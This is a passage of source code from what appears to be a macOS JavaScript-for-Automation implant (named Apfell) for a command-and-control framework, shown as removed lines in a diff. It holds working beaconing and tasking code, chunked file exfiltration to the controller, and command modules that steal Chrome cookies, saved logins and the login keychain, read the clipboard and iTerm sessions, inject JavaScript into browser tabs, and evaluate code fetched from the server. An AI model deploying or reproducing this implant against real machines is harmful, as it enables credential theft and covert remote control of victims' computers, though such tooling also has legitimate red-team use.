||||
}).resume;
|
||||
while(!finished){
|
||||
delay(0.1);
|
||||
}
|
||||
//responseData is base64(UUID + data)
|
||||
if( responseData.length < 36){
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
|
||||
continue;
|
||||
}
|
||||
let resp = $.NSData.alloc.initWithBase64Encoding(responseData);
|
||||
//let uuid_range = $.NSMakeRange(0, 36);
|
||||
let message_range = $.NSMakeRange(36, resp.length - 36);
|
||||
//let uuid = $.NSString.alloc.initWithDataEncoding(resp.subdataWithRange(uuid_range), $.NSUTF8StringEncoding).js;
|
||||
resp = resp.subdataWithRange(message_range); //could either be plaintext json or encrypted bytes
|
||||
//we're not doing the initial key exchange
|
||||
if(this.aes_psk !== ""){
|
||||
//if we do need to decrypt the response though, do that
|
||||
if(json){
|
||||
resp = ObjC.unwrap(this.decrypt_message(resp));
|
||||
return JSON.parse(resp);
|
||||
}else{
|
||||
return this.decrypt_message(resp);
|
||||
}
|
||||
}else{
|
||||
//we don't need to decrypt it, so we can just parse and return it
|
||||
if(json){
|
||||
return JSON.parse(ObjC.deepUnwrap($.NSString.alloc.initWithDataEncoding(resp, $.NSUTF8StringEncoding)));
|
||||
}else{
|
||||
return $.NSString.alloc.initWithDataEncoding(resp, $.NSUTF8StringEncoding).js;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch(error){
|
||||
//console.log(error.toString());
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
|
||||
}
|
||||
}
|
||||
}
|
||||
htmlGetData(){
|
||||
let data = {"tasking_size":1, "action": "get_tasking"};
|
||||
if(this.aes_psk !== ""){
|
||||
data = this.encrypt_message(apfell.id, JSON.stringify(data)).js;
|
||||
}else{
|
||||
data = $(apfell.id + JSON.stringify(data)).dataUsingEncoding($.NSUTF8StringEncoding);
|
||||
data = data.base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
let NSCharacterSet = $.NSCharacterSet.characterSetWithCharactersInString("/+=\n").invertedSet;
|
||||
data = $(data).stringByAddingPercentEncodingWithAllowedCharacters(NSCharacterSet).js;
|
||||
let url = this.baseurl;
|
||||
if(this.getURI !== ""){ url += "/" + this.getURI; }
|
||||
url += "?" + this.queryPathName + "=" + data;
|
||||
while(true){
|
||||
try{
|
||||
if( $.NSDate.date.compare(this.kill_date) === $.NSOrderedDescending ){
|
||||
$.NSApplication.sharedApplication.terminate(this);
|
||||
}
|
||||
if(apfell.id === undefined || apfell.id === ""){ $.NSApplication.sharedApplication.terminate(this);}
|
||||
let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
|
||||
req.setHTTPMethod($.NSString.alloc.initWithUTF8String("GET"));
|
||||
for(let i = 0; i < this.header_list.length; i++){
|
||||
req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(this.header_list[i]["value"]), $.NSString.alloc.initWithUTF8String(this.header_list[i]["key"]));
|
||||
}
|
||||
let response = Ref();
|
||||
let error = Ref();
|
||||
let session_config = $.NSURLSessionConfiguration.ephemeralSessionConfiguration;
|
||||
session_config.connectionProxyDictionary = $(this.proxy_dict);
|
||||
let session = $.NSURLSession.sessionWithConfiguration(session_config);
|
||||
let finished = false;
|
||||
let responseData;
|
||||
session.dataTaskWithRequestCompletionHandler(req, (data, resp) => {
|
||||
finished = true;
|
||||
responseData = data;
|
||||
}).resume;
|
||||
while(!finished){
|
||||
delay(0.1);
|
||||
}
|
||||
if(responseData.length < 36){
|
||||
//this means we likely got back some form of error or redirect message, not our actual data
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
|
||||
continue;
|
||||
}
|
||||
let resp = $.NSData.alloc.initWithBase64Encoding(responseData);
|
||||
//let uuid_range = $.NSMakeRange(0, 36);
|
||||
let message_range = $.NSMakeRange(36, resp.length - 36);
|
||||
//let uuid = $.NSString.alloc.initWithDataEncoding(resp.subdataWithRange(uuid_range), $.NSUTF8StringEncoding).js;
|
||||
resp = resp.subdataWithRange(message_range); //could either be plaintext json or encrypted bytes
|
||||
//we're not doing the initial key exchange
|
||||
if(this.aes_psk !== ""){
|
||||
//if we do need to decrypt the response though, do that
|
||||
resp = ObjC.unwrap(this.decrypt_message(resp));
|
||||
return JSON.parse(resp);
|
||||
}else{
|
||||
//we don't need to decrypt it, so we can just parse and return it
|
||||
return JSON.parse(ObjC.deepUnwrap($.NSString.alloc.initWithDataEncoding(resp, $.NSUTF8StringEncoding)));
|
||||
}
|
||||
}
|
||||
catch(error){
|
||||
//console.log("error in htmlGetData: " + error.toString());
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); //wait timeout seconds and try again
|
||||
}
|
||||
}
|
||||
}
|
||||
download(task, params){
|
||||
// download just has one parameter of the path of the file to download
|
||||
let output = "";
|
||||
if( does_file_exist(params) ){
|
||||
let offset = 0;
|
||||
let chunkSize = 512000; //3500;
|
||||
// get the full real path to the file
|
||||
let full_path = params;
|
||||
try{
|
||||
let fm = $.NSFileManager.defaultManager;
|
||||
let pieces = ObjC.deepUnwrap(fm.componentsToDisplayForPath(params));
|
||||
full_path = "/" + pieces.slice(1).join("/");
|
||||
var handle = $.NSFileHandle.fileHandleForReadingAtPath(full_path);
|
||||
if(handle.js === undefined){
|
||||
return {"status": "error", "user_output": "Access denied or path was to a folder", "completed": true};
|
||||
}
|
||||
// Get the file size by seeking;
|
||||
var fileSize = handle.seekToEndOfFile;
|
||||
}catch(error){
|
||||
return {'status': 'error', 'user_output': error.toString(), 'completed': true};
|
||||
}
|
||||
// always round up to account for chunks that are < chunksize;
|
||||
let numOfChunks = Math.ceil(fileSize / chunkSize);
|
||||
let registerData = {'total_chunks': numOfChunks, 'full_path': full_path};
|
||||
let registerFile = this.postResponse(task, registerData);
|
||||
registerFile = registerFile['responses'][0];
|
||||
if (registerFile['status'] === "success"){
|
||||
this.postResponse(task, {"user_output": JSON.stringify({
|
||||
"agent_file_id": registerFile["file_id"],
|
||||
"total_chunks": numOfChunks
|
||||
})});
|
||||
handle.seekToFileOffset(0);
|
||||
let currentChunk = 1;
|
||||
let data = handle.readDataOfLength(chunkSize);
|
||||
while(parseInt(data.length) > 0 && offset < fileSize){
|
||||
// send a chunk
|
||||
let fileData = {'chunk_num': currentChunk, 'chunk_data': data.base64EncodedStringWithOptions(0).js,'file_id': registerFile['file_id']};
|
||||
this.postResponse(task, fileData);
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
|
||||
// increment the offset and seek to the amount of data read from the file
|
||||
offset += parseInt(data.length);
|
||||
handle.seekToFileOffset(offset);
|
||||
currentChunk += 1;
|
||||
data = handle.readDataOfLength(chunkSize);
|
||||
}
|
||||
output = {"completed":true, "file_id": registerFile['file_id']};
|
||||
}
|
||||
else{
|
||||
output = {'status': 'error', 'user_output': "Failed to register file to download", 'completed': true};
|
||||
}
|
||||
}
|
||||
else{
|
||||
output = {'status': 'error', 'user_output': "file does not exist", 'completed': true};
|
||||
}
|
||||
return output;
|
||||
}
|
||||
upload(task, file_id, full_path){
|
||||
try{
|
||||
let data = {"action": "upload", "file_id": file_id, "chunk_size": 512000, "chunk_num": 1, "full_path": full_path, "task_id": task.id};
|
||||
let chunk_num = 1;
|
||||
let total_chunks = 1;
|
||||
let total_data = $.NSMutableData.dataWithLength(0);
|
||||
do{
|
||||
let file_data = this.htmlPostData(data, apfell.id);
|
||||
if(file_data['chunk_num'] === 0){
|
||||
return "error from server";
|
||||
}
|
||||
chunk_num = file_data['chunk_num'];
|
||||
total_chunks = file_data['total_chunks'];
|
||||
total_data.appendData($.NSData.alloc.initWithBase64Encoding($(file_data['chunk_data'])));
|
||||
data = {"action": "upload", "file_id": file_id, "chunk_size": 512000, "chunk_num": chunk_num + 1, "task_id": task.id};
|
||||
}while(chunk_num < total_chunks);
|
||||
return total_data;
|
||||
}catch(error){
|
||||
return error.toString();
|
||||
}
|
||||
}
|
||||
}
|
||||
//------------- INSTANTIATE OUR C2 CLASS BELOW HERE IN MAIN CODE-----------------------
|
||||
ObjC.import('Security');
|
||||
var C2 = new customC2(callback_interval, "callback_host", "callback_port");
|
||||
@@ -1,23 +0,0 @@
|
||||
exports.cat = function(task, command, params){
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
if(!command_params.hasOwnProperty('path')){return {"user_output": "Missing path parameter", "completed": true, "status": "error"}}
|
||||
let contents = $.NSString.stringWithContentsOfFileEncodingError($(command_params['path']), $.NSUTF8StringEncoding, $()).js;
|
||||
if(contents === ""){
|
||||
return {"user_output": "No output from command", "completed": true};
|
||||
}
|
||||
else if(contents === true){
|
||||
return {"user_output": "True", "completed": true};
|
||||
}
|
||||
else if(contents === false){
|
||||
return{"user_output": "False", "completed": true};
|
||||
}
|
||||
else if(contents === undefined){
|
||||
return {"user_output": "Failed to read file. Either you don't have permissions or the file doesn't exist", "completed": true, "status": "error"};
|
||||
}
|
||||
return {"user_output": contents, "completed": true};
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output": error.toString(), "status": "error", "completed": true};
|
||||
}
|
||||
};
|
||||
@@ -1,15 +0,0 @@
|
||||
exports.cd = function(task, command, params){
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
if(!command_params.hasOwnProperty('path')){return {"user_output": "Missing path parameter", "completed": true, "status": "error"}}
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
let success = fileManager.changeCurrentDirectoryPath(command_params['path']);
|
||||
if(success){
|
||||
return {"user_output": "New cwd: " + fileManager.currentDirectoryPath.js, "completed": true};
|
||||
}else{
|
||||
return {"user_output": "Failed to change directory", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output": error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,52 +0,0 @@
|
||||
exports.chrome_bookmarks = function(task, command, params){
|
||||
let chrome_bookmarks_enum_folder = function(folder, folderPath = "", parentIndex = ""){
|
||||
let folderData = {};
|
||||
folderData["Folder Name"] = folderPath + folder.title();
|
||||
folderData["bookmarks"] = [];
|
||||
// once we are done with folders, let's work on the bookmarked items
|
||||
let entries = chrome_bookmarks_enum_items(folder, parentIndex);
|
||||
folderData["bookmarks"].push(...entries);
|
||||
// for each folder under our current bookmark folder - call chrome_bookmarks_enum_folder
|
||||
for (let i = 0; i < folder.bookmarkFolders.length; i++){
|
||||
folderData["bookmarks"].push({...chrome_bookmarks_enum_folder(folder.bookmarkFolders[i], folderPath + folder.title() + "/", String(folder.index()-1))});
|
||||
}
|
||||
return folderData;
|
||||
};
|
||||
|
||||
let chrome_bookmarks_enum_items = function(folder, parentIndex){
|
||||
let bookmarks = folder.bookmarkItems;
|
||||
let entries = [];
|
||||
for (let j = 0; j < bookmarks.length; j++){
|
||||
let indexPath = parentIndex === "" ? String(folder.index()-1) + "/" + String(bookmarks[j].index()-1) : parentIndex + "/" + String(folder.index()-1) + "/" + String(bookmarks[j].index()-1);
|
||||
entries.push({
|
||||
"Title": bookmarks[j].title(),
|
||||
"URL": bookmarks[j].url(),
|
||||
"Folder/bookmark": indexPath
|
||||
});
|
||||
}
|
||||
return entries;
|
||||
};
|
||||
let all_data = [];
|
||||
try{
|
||||
let ch = Application("Google Chrome");
|
||||
if(ch.running()){
|
||||
let folders = ch.bookmarkFolders;
|
||||
for (let i = 0; i < folders.length; i ++){
|
||||
let folder = folders[i];
|
||||
// we are using the fact that JS passes arrays by reference here to pass a reference to all_data
|
||||
all_data.push(chrome_bookmarks_enum_folder(folder));
|
||||
}
|
||||
}
|
||||
else{
|
||||
return {"user_output": "Chrome is not running", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
let err = error.toString();
|
||||
if(err === "Error: An error occurred."){
|
||||
err += " Apfell was denied access to Google Chrome (either by popup or prior deny).";
|
||||
}
|
||||
return {"user_output":err, "completed": true, "status": "error"};
|
||||
}
|
||||
return {"user_output": JSON.stringify(all_data, null, 2), "completed": true};
|
||||
};
|
||||
|
||||
@@ -1,23 +0,0 @@
|
||||
exports.chrome_js = function(task, command, params){
|
||||
try{
|
||||
let split_params = JSON.parse(params);
|
||||
let window = split_params['window'];
|
||||
let tab = split_params['tab'];
|
||||
let jscript = split_params['javascript'];
|
||||
if(Application("Google Chrome").running()){
|
||||
let result = Application("Google Chrome").windows[window].tabs[tab].execute({javascript:jscript});
|
||||
if(result !== undefined){
|
||||
return {"user_output": String(result), "completed": true};
|
||||
}
|
||||
return {"user_output":"completed", "completed": true};
|
||||
}else{
|
||||
return {"user_output":"Chrome isn't running", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
let err = error.toString();
|
||||
if(err === "Error: An error occurred."){
|
||||
err += " Apfell was denied access to Google Chrome (either by popup or prior deny).";
|
||||
}
|
||||
return {"user_output":err, "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,25 +0,0 @@
|
||||
exports.chrome_tabs = function(task, command, params){
|
||||
let tabs = {};
|
||||
try{
|
||||
let ch = Application("Google Chrome");
|
||||
if(ch.running()){
|
||||
for (let i = 0; i < ch.windows.length; i++){
|
||||
let win = ch.windows[i];
|
||||
tabs["Window " + i] = {};
|
||||
for (let j = 0; j < win.tabs.length; j++){
|
||||
let tab = win.tabs[j];
|
||||
tabs["Window " + i]["Tab " + j] = {"title": tab.title(), "url": tab.url()};
|
||||
}
|
||||
}
|
||||
}else{
|
||||
return {"user_output": "Chrome is not running", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
let err = error.toString();
|
||||
if(err === "Error: An error occurred."){
|
||||
err += " Apfell was denied access to Google Chrome (either by popup or prior deny).";
|
||||
}
|
||||
return {"user_output":err, "completed": true, "status": "error"};
|
||||
}
|
||||
return {"user_output": JSON.stringify(tabs, null, 2), "completed": true};
|
||||
};
|
||||
@@ -1,46 +0,0 @@
|
||||
exports.clipboard = function(task, command, params){
|
||||
ObjC.import('AppKit');
|
||||
let parsed_params;
|
||||
try{
|
||||
parsed_params = JSON.parse(params);
|
||||
}catch(error){
|
||||
return {"user_output": "Failed to parse parameters", "status": "error", "completed": true};
|
||||
}
|
||||
if(parsed_params.hasOwnProperty("data") && parsed_params['data'].length > 0){
|
||||
// Try setting the clipboard to whatever is in params
|
||||
try{
|
||||
$.NSPasteboard.generalPasteboard.clearContents;
|
||||
$.NSPasteboard.generalPasteboard.setStringForType($(parsed_params['data']), $.NSPasteboardTypeString);
|
||||
return {"user_output": "Successfully set the clipboard", "completed": true};
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
else{
|
||||
//try just reading the clipboard data and returning it
|
||||
if(parsed_params['read'].length === 0){
|
||||
parsed_params['read'].push("public.utf8-plain-text");
|
||||
}
|
||||
try{
|
||||
let pb = $.NSPasteboard.generalPasteboard;
|
||||
let types = pb.types.js;
|
||||
let clipboard = {};
|
||||
for(let i = 0; i < types.length; i++){
|
||||
let typejs = types[i].js;
|
||||
clipboard[typejs] = pb.dataForType(types[i]);
|
||||
console.log(clipboard[typejs].js)
|
||||
console.log(clipboard[typejs].js !== undefined, parsed_params["read"], typejs, parsed_params["read"].includes(typejs));
|
||||
if(clipboard[typejs].js !== undefined && (parsed_params['read'].includes(typejs) || parsed_params['read'][0] === "*")){
|
||||
clipboard[typejs] = clipboard[typejs].base64EncodedStringWithOptions(0).js;
|
||||
}else{
|
||||
clipboard[typejs] = "";
|
||||
}
|
||||
}
|
||||
return {"user_output": JSON.stringify(clipboard, null, 4), "completed": true};
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -1,37 +0,0 @@
|
||||
exports.code_signatures = function(task, command, params){
|
||||
ObjC.import("Security");
|
||||
let staticCode = Ref();
|
||||
try{
|
||||
let binpath = JSON.parse(params)["path"];
|
||||
if(binpath === undefined || binpath === null){
|
||||
return {"user_output": "Missing Path to examine", "completed": true, "status": "error"};
|
||||
}
|
||||
let path = $.CFURLCreateFromFileSystemRepresentation($.kCFAllocatorDefault, binpath, binpath.length, true);
|
||||
$.SecStaticCodeCreateWithPath(path, 0, staticCode);
|
||||
let codeInfo = Ref();
|
||||
$.SecCodeCopySigningInformation(staticCode[0], 0x7F, codeInfo);
|
||||
ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]);
|
||||
let codeInfo_c = $.CFMakeCollectable(codeInfo[0]);
|
||||
let code_json = ObjC.deepUnwrap(codeInfo_c);
|
||||
if(code_json === undefined){
|
||||
return {"user_output": "Failed to find specified path", "completed": true, "status": "error"};
|
||||
}
|
||||
if(code_json.hasOwnProperty("flags")){
|
||||
let flag_details = [];
|
||||
if( code_json["flags"] & 0x000001 ){flag_details.push({"0x000001": "kSecCodeSignatureHost - May host guest code"})}
|
||||
if( code_json["flags"] & 0x000002 ){flag_details.push({"0x000002": "kSecCodeSignatureAdhoc - The code has been sealed without a signing identity"})}
|
||||
if( code_json["flags"] & 0x000100 ){flag_details.push({"0x000100": "kSecCodeSignatureForceHard - The code prefers to be denied access to a resource if gaining such access would cause its invalidation"})}
|
||||
if( code_json["flags"] & 0x000200 ){flag_details.push({"0x000200": "kSecCodeSignatureForceKill - The code wishes to be terminated if it is ever invalidated"})}
|
||||
if( code_json["flags"] & 0x000400 ){flag_details.push({"0x000400": "kSecCodeSignatureForceExpiration - Code signatures made by expired certificates be rejected"})}
|
||||
if( code_json["flags"] & 0x000800 ){flag_details.push({"0x000800": "kSecCodeSignatureRestrict - Restrict dyld loading"})}
|
||||
if( code_json["flags"] & 0x001000 ){flag_details.push({"0x001000": "kSecCodeSignatureEnforcement - Enforce code signing"})}
|
||||
if( code_json["flags"] & 0x002000 ){flag_details.push({"0x002000": "kSecCodeSignatureLibraryValidation - Require library validation"})}
|
||||
if( code_json["flags"] & 0x010000 ){flag_details.push({"0x010000": "kSecCodeSignatureRuntime - Apply runtime hardening policies as required by the hardened runtime version"})}
|
||||
code_json["flag_details"] = flag_details;
|
||||
code_json["flags"] = "0x" + code_json["flags"].toString(16);
|
||||
}
|
||||
return {"user_output":JSON.stringify(code_json, null, 2), "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,61 +0,0 @@
|
||||
exports.cookie_thief = function(task, command, params){
|
||||
let config = JSON.parse(params);
|
||||
let keyDL_status = {};
|
||||
let username = "";
|
||||
let browser = "chrome";
|
||||
let homedir = "/Users/";
|
||||
let keychainpath = "/Library/Keychains/login.keychain-db";
|
||||
let chromeCookieDir = "/Library/Application Support/Google/Chrome/Default/Cookies";
|
||||
let cookiedir = "/Library/Application Support/Google/Chrome/Default/Cookies";
|
||||
let logindir = "/Library/Application Support/Google/Chrome/Default/Login Data";
|
||||
|
||||
if(config.hasOwnProperty("username") && typeof config['username'] == 'string' && config['username']) {
|
||||
username = config['username'];
|
||||
}
|
||||
else {
|
||||
return {'user_output': "Must supply the username", "completed": true, "status": "error"};
|
||||
}
|
||||
let cookiepath = homedir + username;
|
||||
|
||||
if(config.hasOwnProperty("browser") && typeof config['browser'] == 'string'){
|
||||
browser = config['browser'];
|
||||
}
|
||||
|
||||
if(browser === "chrome") {
|
||||
cookiedir = chromeCookieDir;
|
||||
}
|
||||
let cookieDLPath = cookiepath + cookiedir;
|
||||
let loginDLPath = cookiepath + logindir;
|
||||
|
||||
try{
|
||||
let status = C2.download(task, cookieDLPath);
|
||||
if(!status.hasOwnProperty("file_id")){
|
||||
return status;
|
||||
}
|
||||
}
|
||||
catch(error) {
|
||||
return {'user_output': error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
try {
|
||||
let status = C2.download(task, loginDLPath);
|
||||
if(!status.hasOwnProperty("file_id")){
|
||||
return status;
|
||||
}
|
||||
}catch(error) {
|
||||
return {"user_output": error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
|
||||
let keypath = homedir + username + keychainpath;
|
||||
try{
|
||||
keyDL_status = C2.download(task, keypath);
|
||||
if(keyDL_status.hasOwnProperty("file_id")) {
|
||||
keyDL_status['user_output'] = "\nFinished Downloading KeychainDB, Cookies, and Login Data\n";
|
||||
}else{
|
||||
return keyDL_status;
|
||||
}
|
||||
}
|
||||
catch(error) {
|
||||
return {'user_output': error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
return keyDL_status;
|
||||
};
|
||||
@@ -1,30 +0,0 @@
|
||||
exports.current_user = function(task, command, params){
|
||||
try{
|
||||
let method = "api";
|
||||
if(params.length > 0){
|
||||
let data = JSON.parse(params);
|
||||
if(data.hasOwnProperty('method') && data['method'] !== ""){
|
||||
method = data['method'];
|
||||
}
|
||||
}
|
||||
if(method === "jxa"){
|
||||
let user = Application("System Events").currentUser;
|
||||
let info = "Name: " + user.name() +
|
||||
"\nFullName: " + user.fullName() +
|
||||
"\nhomeDirectory: " + user.homeDirectory() +
|
||||
"\npicturePath: " + user.picturePath();
|
||||
return {"user_output":info, "completed": true};
|
||||
}
|
||||
else if(method === "api"){
|
||||
let output = "\nUserName: " + $.NSUserName().js +
|
||||
"\nFull UserName: " + $.NSFullUserName().js +
|
||||
"\nHome Directory: " + $.NSHomeDirectory().js;
|
||||
return {"user_output":output, "completed": true};
|
||||
}
|
||||
else{
|
||||
return {"user_output":"Method not supported", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,8 +0,0 @@
|
||||
exports.download = function(task, command, params){
|
||||
try{
|
||||
if(params === "" || params === undefined){return {'user_output': "Must supply a path to a file to download", "completed": true, "status": "error"}; }
|
||||
return C2.download(task, params);
|
||||
}catch(error){
|
||||
return {'user_output': error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,6 +0,0 @@
|
||||
exports.exit = function(task, command, params){
|
||||
ObjC.import("AppKit");
|
||||
C2.postResponse(task, {"completed": true, "user_output": "Exiting"});
|
||||
$.NSApplication.sharedApplication.terminate($.nil);
|
||||
$.NSThread.exit();
|
||||
};
|
||||
@@ -1,4 +0,0 @@
|
||||
exports.get_config = function(task, command, params){
|
||||
let config = C2.getConfig();
|
||||
return {"user_output":config, "completed": true};
|
||||
};
|
||||
@@ -1,16 +0,0 @@
|
||||
exports.hostname = function(task, command, params){
|
||||
let output = {};
|
||||
output['localized'] = ObjC.deepUnwrap($.NSHost.currentHost.localizedName);
|
||||
output['names'] = ObjC.deepUnwrap($.NSHost.currentHost.names);
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
if(fileManager.fileExistsAtPath("/Library/Preferences/SystemConfiguration/com.apple.smb.server.plist")){
|
||||
let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/SystemConfiguration/com.apple.smb.server.plist");
|
||||
let contents = ObjC.deepUnwrap(dict);
|
||||
output['Local Kerberos Realm'] = contents['LocalKerberosRealm'];
|
||||
output['NETBIOS Name'] = contents['NetBIOSName'];
|
||||
output['Server Description'] = contents['ServerDescription'];
|
||||
}
|
||||
return {"user_output": JSON.stringify(output, null, 2), "completed": true};
|
||||
};
|
||||
|
||||
|
||||
@@ -1,29 +0,0 @@
|
||||
exports.iTerm = function(task, command, params){
|
||||
try{
|
||||
let term = Application("iTerm");
|
||||
if(!term.running()){
|
||||
term = Application("iTerm2"); // it might be iTerm2 instead of iTerm in some instances, try both
|
||||
}
|
||||
let output = {};
|
||||
if(term.running()){
|
||||
for(let i = 0; i < term.windows.length; i++){
|
||||
let window = {};
|
||||
for(let j = 0; j < term.windows[i].tabs.length; j++){
|
||||
let tab_info = {};
|
||||
tab_info['tty'] = term.windows[i].tabs[j].currentSession.tty();
|
||||
tab_info['name'] = term.windows[i].tabs[j].currentSession.name();
|
||||
tab_info['contents'] = term.windows[i].tabs[j].currentSession.contents();
|
||||
tab_info['profileName'] = term.windows[i].tabs[j].currentSession.profileName();
|
||||
window["Tab: " + j] = tab_info;
|
||||
}
|
||||
output["Window: " + i] = window;
|
||||
}
|
||||
return {"user_output":JSON.stringify(output, null, 2), "completed": true};
|
||||
}
|
||||
else{
|
||||
return {"user_output":"iTerm isn't running", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,4 +0,0 @@
|
||||
exports.ifconfig = function(task, command, params){
|
||||
return {"user_output": JSON.stringify(ObjC.deepUnwrap($.NSHost.currentHost.addresses), null, 2), "completed": true};
|
||||
};
|
||||
|
||||
@@ -1,25 +0,0 @@
|
||||
exports.jscript = function(task, command, params){
|
||||
//simply eval a javascript string and return the response
|
||||
let response = "";
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
if(!command_params.hasOwnProperty("command")){ return {"user_output": "Missing command parameter", "status": "error", "completed": true};}
|
||||
response = ObjC.deepUnwrap(eval(command_params['command']));
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
if(response === undefined || response === ""){
|
||||
response = "No Command Output";
|
||||
}
|
||||
if(response === true){
|
||||
response = "True";
|
||||
}
|
||||
if(response === false){
|
||||
response = "False";
|
||||
}
|
||||
if(typeof(response) != "string"){
|
||||
response = String(response);
|
||||
}
|
||||
return {"user_output":response, "completed": true};
|
||||
};
|
||||
@@ -1,27 +0,0 @@
|
||||
exports.jsimport = function(task,command,params){
|
||||
let script = "";
|
||||
try{
|
||||
let config = JSON.parse(params);
|
||||
let old_script_exists = jsimport === "";
|
||||
if(config.hasOwnProperty("file")){
|
||||
let script_data = C2.upload(task, config['file']);
|
||||
if(typeof script_data === "string"){
|
||||
return{"user_output":"Failed to get contents of file", "completed": true, "status": "error"};
|
||||
}
|
||||
script = ObjC.unwrap($.NSString.alloc.initWithDataEncoding(script_data, $.NSUTF8StringEncoding));
|
||||
}
|
||||
else{
|
||||
return {"user_output":"Need to supply a valid file to download", "completed": true, "status": "error"};
|
||||
}
|
||||
jsimport = script;
|
||||
if(old_script_exists){
|
||||
return {"user_output":"Cleared old script and imported the new script", "completed": true};
|
||||
}else{
|
||||
return {"user_output":"Imported the script", "completed": true};
|
||||
}
|
||||
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,23 +0,0 @@
|
||||
exports.jsimport_call = function(task, command, params){
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
if(!command_params.hasOwnProperty('command')){ return {"user_output": "missing command parameter", "status": "error", "completed": true};}
|
||||
let output = ObjC.deepUnwrap(eval(jsimport + "\n " + command_params['command']));
|
||||
if(output === "" || output === undefined){
|
||||
return {"user_output":"No command output", "completed": true};
|
||||
}
|
||||
if(output === true){
|
||||
return {"user_output":"True", "completed": true};
|
||||
}
|
||||
if(output === false){
|
||||
return{"user_output":"False", "completed": true};
|
||||
}
|
||||
if(typeof(output) != "string"){
|
||||
output = String(output);
|
||||
}
|
||||
return {"user_output":output, "completed": true};
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,20 +0,0 @@
|
||||
exports.launchapp = function(task, command, params){
|
||||
//this should be the bundle identifier like com.apple.itunes to launch
|
||||
//it will launch hidden, asynchronously, and will be 'hidden' (still shows up in the dock though)
|
||||
let response = "";
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
if(!command_params.hasOwnProperty('bundle')){ return {"user_output": "missing bundle identifier", "completed": true, "status": "error"}}
|
||||
ObjC.import('AppKit');
|
||||
$.NSWorkspace.sharedWorkspace.launchAppWithBundleIdentifierOptionsAdditionalEventParamDescriptorLaunchIdentifier(
|
||||
command_params['bundle'],
|
||||
$.NSWorkspaceLaunchAsync | $.NSWorkspaceLaunchAndHide | $.NSWorkspaceLaunchWithoutAddingToRecents,
|
||||
$.NSAppleEventDescriptor.nullDescriptor,
|
||||
null
|
||||
);
|
||||
return {"user_output":"Program launched", "completed": true};
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,36 +0,0 @@
|
||||
exports.list_apps = function(task, command, params){
|
||||
ObjC.import('AppKit');
|
||||
try{
|
||||
let names = [];
|
||||
let procs = $.NSWorkspace.sharedWorkspace.runningApplications.js;
|
||||
for(let i = 0; i < procs.length; i++){
|
||||
let info = {};
|
||||
info['frontMost'] = procs[i].active;
|
||||
info['hidden'] = procs[i].hidden;
|
||||
info['bundle'] = procs[i].bundleIdentifier.js;
|
||||
info['bundleURL'] = procs[i].bundleURL.path.js;
|
||||
info['bin_path'] = procs[i].executableURL.path.js;
|
||||
info['process_id'] = procs[i].processIdentifier;
|
||||
info['name'] = procs[i].localizedName.js;
|
||||
if(procs[i].executableArchitecture === "16777223"){
|
||||
info['architecture'] = "x64";
|
||||
}
|
||||
else if(procs[i].executableArchitecture === "7"){
|
||||
info['architecture'] = "x86";
|
||||
}
|
||||
else if(procs[i].executableArchitecture === "18"){
|
||||
info['architecture'] = "x86_PPC";
|
||||
}
|
||||
else if(procs[i].executableArchitecture === "16777234"){
|
||||
info['architecture'] = "x86_64_PPC";
|
||||
}
|
||||
else {
|
||||
info['architecture'] = procs[i].executableArchitecture;
|
||||
}
|
||||
names.push(info);
|
||||
}
|
||||
return {"user_output":JSON.stringify(names, null, 2), "processes": names, "completed": true};
|
||||
}catch(error){
|
||||
